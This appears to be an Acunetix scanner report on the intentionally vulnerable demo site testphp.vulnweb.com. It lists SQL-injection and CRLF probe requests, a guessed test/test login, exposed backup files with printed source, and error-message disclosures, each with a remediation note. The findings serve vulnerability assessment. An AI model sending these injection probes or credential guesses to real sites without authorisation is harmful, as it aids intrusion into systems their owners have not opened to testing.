POST /search.php?test=1 HTTP/1.1 Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c Acunetix-Aspect: enabled Content-Length: 32 Content-Type: application/x-www-form-urlencoded Referer: http://testphp.vulnweb.com Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)

Chrome/41.0.2228.0 Safari/537.21
Accept: */*
searchFor=1ACUSTART'"E9Mv6ACUEND

/sendcommand.php

Details

URL encoded POST input **cart_id** was set to **1ACUSTART'"imLRIACUEND**

Request headers

POST /sendcommand.php HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Content-Length: 30
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
cart_id=1ACUSTART'"imLRIACUEND

/listproducts.php

Details

URL encoded GET input **cat** was set to **1ACUSTART'"TJ9s9ACUEND**

Request headers

GET /listproducts.php?artist=1&cat=1ACUSTART'"TJ9s9ACUEND HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/userinfo.php

Details

URL encoded POST input **pass** was set to **1ACUSTART'"4qnsQACUEND**

Request headers

POST /userinfo.php HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Content-Length: 42
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
pass=1ACUSTART'"4qnsQACUEND&uname=oqdpvhoc

/userinfo.php

Details

URL encoded POST input **uname** was set to **1ACUSTART'"TNsw2ACUEND**

Request headers

POST /userinfo.php HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
pass=g00dPa%24%24w0rD&uname=1ACUSTART'"TNsw2ACUEND

/AJAX/infoartist.php

Details

URL encoded GET input **id** was set to **1ACUSTART'"P50MYACUEND**

Request headers

GET /AJAX/infoartist.php?id=1ACUSTART'"P50MYACUEND HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/artists.php

Details

URL encoded GET input **artist** was set to **1ACUSTART'"VPFKQACUEND**

Request headers

GET /artists.php?artist=1ACUSTART'"VPFKQACUEND HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/secured/newuser.php

Details

URL encoded POST input **uname** was set to **1ACUSTART'"QnmQZACUEND**

Request headers

POST /secured/newuser.php HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Content-Length: 205
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com

Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.tst
&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-
0606&urname=euhvkuqm&uuname=1ACUSTART'"QnmQZACUEND

/AJAX/infotitle.php

Details

URL encoded POST input **id** was set to **1ACUSTART'"Mw7s2ACUEND**

Request headers

POST /AJAX/infotitle.php HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Content-Length: 25
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
id=1ACUSTART'"Mw7s2ACUEND

/product.php

Details

URL encoded GET input **pic** was set to **1ACUSTART'"6P4NQACUEND**

Request headers

GET /product.php?pic=1ACUSTART'"6P4NQACUEND HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/AJAX/infocateg.php

Details

URL encoded GET input **id** was set to **1ACUSTART'"xn5IEACUEND**

Request headers

GET /AJAX/infocateg.php?id=1ACUSTART'"xn5IEACUEND HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/listproducts.php

Details

URL encoded GET input **artist** was set to **1ACU\$TART'"a0ZxpACUEND**

Request headers

GET /listproducts.php?artist=1ACU\$TART'"a0ZxpACUEND HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/Mod_Rewrite_Shop/buy.php

Details

URL encoded GET input **id** was set to **1ACU\$TART'"CFVHjACUEND**

Request headers

GET /Mod_Rewrite_Shop/buy.php?id=1ACU\$TART'"CFVHjACUEND HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/Mod_Rewrite_Shop/details.php

Details

URL encoded GET input **id** was set to **1ACU\$TART'"AIxy0ACUEND**

Request headers

GET /Mod_Rewrite_Shop/details.php?id=1ACU\$TART'"AIxy0ACUEND HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/Mod_Rewrite_Shop/rate.php

Details

URL encoded GET input **id** was set to **1ACU\$TART'"ou8RiACUEND**

Request headers

GET /Mod_Rewrite_Shop/rate.php?id=1ACU\$TART'"ou8RiACUEND HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)

Chrome/41.0.2228.0 Safari/537.21

Accept: */*

Web Server

Details

Cookie input **login** was set to **1"**

Error message found:

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/index.php on line 47

Request headers

GET / HTTP/1.1
Cookie: login=1"; mycookie=3
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/search.php

Details

Cookie input **login** was set to **1ACUSTART""eoXwCACUEND**

Request headers

GET /search.php HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART""eoXwCACUEND; mycookie=3
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/cart.php

Details

Cookie input **login** was set to **1ACUSTART""QS0kYACUEND**

Request headers

GET /cart.php HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART""QS0kYACUEND; mycookie=3
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/artists.php

Details

Cookie input **login** was set to **1ACUSTART""jZxAsACUEND**

Request headers

GET /artists.php HTTP/1.1

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART'"jZxAsACUEND; mycookie=3
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/userinfo.php

Details

Cookie input **login** was set to **1ACUSTART'"jaYpNACUEND**

Request headers

GET /userinfo.php HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART'"jaYpNACUEND; mycookie=3
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/guestbook.php

Details

Cookie input **login** was set to **1ACUSTART'"YcgfQACUEND**

Request headers

GET /guestbook.php HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART'"YcgfQACUEND; mycookie=3
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/product.php

Details

Cookie input **login** was set to **1ACUSTART'"JP4AbACUEND**

Request headers

GET /product.php HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART'"JP4AbACUEND; mycookie=3
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/listproducts.php

Details

Cookie input login was set to 1ACUSTART'"OZqPZACUEND

Request headers

```
GET /listproducts.php HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART'"OZqPZACUEND; mycookie=3
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

! Weak password

Severity	High
Reported by module	Scripting (Html_Authentication_Audit.script)

Description

This page is using a weak password. Acunetix WVS was able to guess the credentials required to access this page. A weak password is short, common, a system default, or something that could be rapidly guessed by executing a brute force attack using a subset of all possible passwords, such as words in the dictionary, proper names, words based on the user name or common variations on these themes.

Impact

An attacker may access the contents of the password-protected page.

Recommendation

Enforce a strong password policy. Don't permit weak passwords or passwords based on dictionary words.

References

[Wikipedia - Password strength](http://en.wikipedia.org/wiki/Password_strength) (http://en.wikipedia.org/wiki/Password_strength)
[Authentication Hacking Attacks](http://www.acunetix.com/websitesecurity/authentication/) (<http://www.acunetix.com/websitesecurity/authentication/>)

Affected items

/userinfo.php
Details
Username: test , Password: test .
Request headers
<pre>POST /userinfo.php HTTP/1.1 Content-Length: 20 Content-Type: application/x-www-form-urlencoded Referer: http://testphp.vulnweb.com Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */* pass=test&uname=test</pre>

! .htaccess file readable

Severity	Medium
Reported by module	Scripting (htaccess_File_Readable.script)

Description

This directory contains an **.htaccess** file that is readable. This may indicate a server misconfiguration. htaccess files are designed to be parsed by web server and should not be directly accessible. These files could contain sensitive information that could help an attacker to conduct further attacks. It's recommended to restrict access to this file.

Impact

Possible sensitive information disclosure.

Recommendation

Restrict access to the .htaccess file by adjusting the web server configuration.

Affected items

/Mod_Rewrite_Shop
Details
Request headers
GET /Mod_Rewrite_Shop/.htaccess HTTP/1.1 Cookie: mycookie=3 Host: testphp.vulnweb.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */*

Application error message

Severity	Medium
Reported by module	Scripting (XSS.script)

Description

This page contains an error/warning message that may disclose sensitive information. The message can also contain the location of the file that produced the unhandled exception.

This may be a false positive if the error message is found in documentation pages.

Impact

The error messages may disclose sensitive information. This information can be used to launch further attacks.

Recommendation

Review the source code for this script.

References

[PHP Runtime Configuration \(http://www.php.net/manual/en/errorfunc.configuration.php#ini.display-errors\)](http://www.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)

Affected items

/showimage.php
Details
URL encoded GET input file was set to acu2361%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca2361
Pattern found:

Warning: fopen(): Unable to access acu2361i%ef%bc%9Cs1%ef%B9%A5s2%CA%BAs3%CA%B9uca2361 in /hj/var/www/showimage.php on line 7

Warning: fopen(acu2361i%ef%bc%9Cs1%ef%B9%A5s2%CA%BAs3%CA%B9uca2361): failed to open stream: No such file or directory in /hj/var/www/showimage.php on line 7

Request headers

GET /showimage.php?file=acu2361%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca2361 HTTP/1.1
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/showimage.php

Details

URL encoded GET input **file** was set to

Pattern found:

Warning: fopen(): Unable to access .tn in /hj/var/www/showimage.php on line 19

Warning: fopen(.tn): failed to open stream: No such file or directory in /hj/var/www/showimage.php on line 19

Request headers

GET /showimage.php?file=&size=160 HTTP/1.1
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/listproducts.php

Details

URL encoded GET input **cat** was set to

Pattern found:

You have an error in your SQL syntax

Request headers

GET /listproducts.php?artist=1&cat= HTTP/1.1
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

/secured/newuser.php

Details

URL encoded POST input **uname** was set to 12345""'\");[]*%00{%0d%0a<%00>%bf%27'd©

Pattern found:

You have an error in your SQL syntax

Request headers

```
POST /secured/newuser.php HTTP/1.1
Content-Length: 225
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.tst
&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-
0606&urname=ufsgafhp&uuname=12345'"\"';|]*%00{%0d%0a<%00>%bf%27'
```

/listproducts.php

Details

URL encoded GET input **artist** was set to

Pattern found:

You have an error in your SQL syntax

Request headers

```
GET /listproducts.php?artist= HTTP/1.1
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

! Backup files

Severity	Medium
Reported by module	Scripting (Backup_File.script)

Description

A possible backup file was found on your web-server. These files are usually created by developers to backup their work.

Impact

Backup files can contain script sources, configuration files or other sensitive information that may help an malicious user to prepare more advanced attacks.

Recommendation

Remove the file(s) if they are not required on your website. As an additional step, it is recommended to implement a security policy within your organization to disallow creation of backup files in directories accessible from the web.

References

[Testing for Old, Backup and Unreferenced Files \(OWASP-CM-006\)](#)
([https://www.owasp.org/index.php/Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information_\(OTG-CONFIG-004\)\)](https://www.owasp.org/index.php/Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information_(OTG-CONFIG-004)))
[Security Tips for Server Configuration](#) (http://httpd.apache.org/docs/1.3/misc/security_tips.html)
[Protecting Confidential Documents at Your Site](#) (<http://www.w3.org/Security/Faq/wwwsf5.html>)

Affected items

/index.bak

Details

This file was found using the pattern **\${fileName}.bak**.

Original filename: **index.php**

Pattern found:

```
<?PHP require_once("database_connect.php"); ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html><!-- InstanceBegin template="/Templates/main_dynamic_template.dwt.php" codeOutsideHTML
IsLocked="false" -->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">

<!-- InstanceBeginEditable name="document_title_rgn" -->
<title>Home of WASP Art</title>
<!-- InstanceEndEditable -->
<link rel="stylesheet" href="style.css" type="text/css">
<!-- InstanceBeginEditable name="headers_rgn" -->
<!-- here goes headers headers -->
<!-- InstanceEndEditable -->
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_reloadPage(init) { //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);
//-->
</script>

</head>
<body>
<div id="mainLayer" style="position:absolute; width:700px; z-index:1">
<div id="masthead">
  <h1 id="siteName">ACUNETIX ART</h1>
  <h6 id="siteInfo">TEST and Demonstration site for Acunetix Web Vulnerability Scanner</h6>
  <div id="globalNav">
    <a href="index.php">home</a> | <a href="categories.php">categories</a> | <a href="artist
s.php">artists
    </a> | <a href="disclaimer.php">disclaimer</a> | <a href="cart.php">your cart</a> |
    <a href="guestbook.php">guestbook</a>
  </div>
</div>
<!-- end masthead -->

<!-- begin content -->
<!-- InstanceBeginEditable name="content_rgn" -->
<div id="content">
  <h2 id="pageName">welcome to our page</h2>
  <div class="story">
    <h3>Test site for WASP.</h3>
  </div>
</div>
<!-- InstanceEndEditable -->
<!--end content -->

<div id="navBar">
  <div id="search">
    <form action="search.php" method="post">
      <label>search art</label>
      <input name="searchFor" type="text" size="10">
      <input name="goButton" type="submit" value="go">
    </form>
  </div>
  <div id="sectionLinks">
    <ul>
      <li><a href="categories.php">Browse categories</a></li>
```

```

    <li><a href="artists.php">Browse artists</a></li>
    <li><a href="cart.php">Your cart</a></li>
    <li><a href="login.php">Signup</a></li>
        <li><a href="userinfo.php">Your profile</a></li>
        <li><a href="guestbook.php">Our guestbook</a></li>
        <?PHP if (isset($_COOKIE["login"]))echo ' <li><a href="../logout.php">Logout</a>';
?></li>
    </ul>
</div>
<div class="relatedLinks">
    <h3>Links</h3>
    <ul>
        <li><a href="http://www.acunetix.com">Security art</a></li>
        <li><a href="http://www.electasy.com/Fractal-Explorer/index.html">Fractal Explore
r</a></li>
    </ul>
</div>
<div id="advert">
    <p></p>
</div>
</div>

<!--end navbar -->
<div id="siteInfo">  <a href="http://www.acunetix.com">About Us</a> | <a href="redir.php?r=i
ndex.php">Site
    Map</a> | <a href="privacy.php">Privacy Policy</a> | <a href="mailto:wasp@acunetix.com">Co
ntact Us</a> | &copy;2004
    Acunetix Ltd
</div>
<br>
</div>
</body>
<!-- InstanceEnd --></html>
```

Request headers

```
GET /index.bak HTTP/1.1
Range: bytes=0-99999
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/index.zip

Details

This file was found using the pattern **\${fileName}.zip**.

Original filename: **index.php**

Pattern found:

```
<?PHP require_once("database_connect.php"); ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html><!-- InstanceBegin template="/Templates/main_dynamic_template.dwt.php" codeOutsideHTML
IsLocked="false" -->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">

<!-- InstanceBeginEditable name="document_title_rgn" -->
<title>Home of WASP Art</title>
<!-- InstanceEndEditable -->
<link rel="stylesheet" href="style.css" type="text/css">
<!-- InstanceBeginEditable name="headers_rgn" -->
<!-- here goes headers headers -->
<!-- InstanceEndEditable -->
<script language="JavaScript" type="text/JavaScript">
```

```

<!--
function MM_reloadPage(init) { //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);
//-->
</script>

</head>
<body>
<div id="mainLayer" style="position:absolute; width:700px; z-index:1">
<div id="masthead">
  <h1 id="siteName">ACUNETIX ART</h1>
  <h6 id="siteInfo">TEST and Demonstration site for Acunetix Web Vulnerability Scanner</h6>
  <div id="globalNav">
    <a href="index.php">home</a> | <a href="categories.php">categories</a> | <a href="artist
s.php">artists
    </a> | <a href="disclaimer.php">disclaimer</a> | <a href="cart.php">your cart</a> |
    <a href="guestbook.php">guestbook</a>
  </div>
</div>
<!-- end masthead -->

<!-- begin content -->
<!-- InstanceBeginEditable name="content_rgn" -->
<div id="content">
  <h2 id="pageTitle">welcome to our page</h2>
  <div class="story">
    <h3>Test site for WASP.</h3>
  </div>
</div>
<!-- InstanceEndEditable -->
<!--end content -->

<div id="navBar">
  <div id="search">
    <form action="search.php" method="post">
      <label>search art</label>
      <input name="searchFor" type="text" size="10">
      <input name="goButton" type="submit" value="go">
    </form>
  </div>
  <div id="sectionLinks">
    <ul>
      <li><a href="categories.php">Browse categories</a></li>
      <li><a href="artists.php">Browse artists</a></li>
      <li><a href="cart.php">Your cart</a></li>
      <li><a href="login.php">Signup</a></li>
      <li><a href="userinfo.php">Your profile</a></li>
      <li><a href="guestbook.php">Our guestbook</a></li>
      <?PHP if (isset($_COOKIE["login"]))echo '<li><a href="../logout.php">Logout</a>';
?></li>
    </ul>
  </div>
  <div class="relatedLinks">
    <h3>Links</h3>
    <ul>
      <li><a href="http://www.acunetix.com">Security art</a></li>
      <li><a href="http://www.electasy.com/Fractal-Explorerer/index.html">Fractal Explore
r</a></li>
    </ul>
  </div>
  <div id="advert">
    <p></p>
  </div>
</div>

```

```
<!--end navbar -->
<div id="siteInfo">  <a href="http://www.acunetix.com">About Us</a> | <a href="redir.php?r=i
ndex.php">Site
  Map</a> | <a href="privacy.php">Privacy Policy</a> | <a href="mailto:wasp@acunetix.com">Co
ntact Us</a> | &copy;2004
  Acunetix Ltd
</div>
<br>
</div>
</body>
<!-- InstanceEnd --></html>
```

Request headers

```
GET /index.zip HTTP/1.1
Range: bytes=0-99999
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

CRLF injection/HTTP response splitting

Severity	Medium
Reported by module	Scripting (CRLF_Injection.script)

Description

This script is possibly vulnerable to CRLF injection attacks.

HTTP headers have the structure "Key: Value", where each line is separated by the CRLF combination. If the user input is injected into the value section without properly escaping/removing CRLF characters it is possible to alter the HTTP headers structure.

HTTP Response Splitting is a new application attack technique which enables various new attacks such as web cache poisoning, cross user defacement, hijacking pages with sensitive user information and cross-site scripting (XSS). The attacker sends a single HTTP request that forces the web server to form an output stream, which is then interpreted by the target as two HTTP responses instead of one response.

Impact

Is it possible for a remote attacker to inject custom HTTP headers. For example, an attacker can inject session cookies or HTML code. This may conduct to vulnerabilities like XSS (cross-site scripting) or session fixation.

Recommendation

You need to restrict CR(0x13) and LF(0x10) from the user input or properly encode the output in order to prevent the injection of custom HTTP headers.

References

[Acunetix CRLF Injection Attack](http://www.acunetix.com/websitesecurity/crlf-injection.htm) (<http://www.acunetix.com/websitesecurity/crlf-injection.htm>)
[Whitepaper - HTTP Response Splitting](http://packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf) (http://packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf)
[Introduction to HTTP Response Splitting](http://www.securiteam.com/securityreviews/5WP0E2KFGK.html) (<http://www.securiteam.com/securityreviews/5WP0E2KFGK.html>)

Affected items

/redir.php
Details
URL encoded GET input r was set to ACUSTART ACUEND
Request headers

```
GET /redir.php?r=ACUSTART%0d%0aACUEND HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

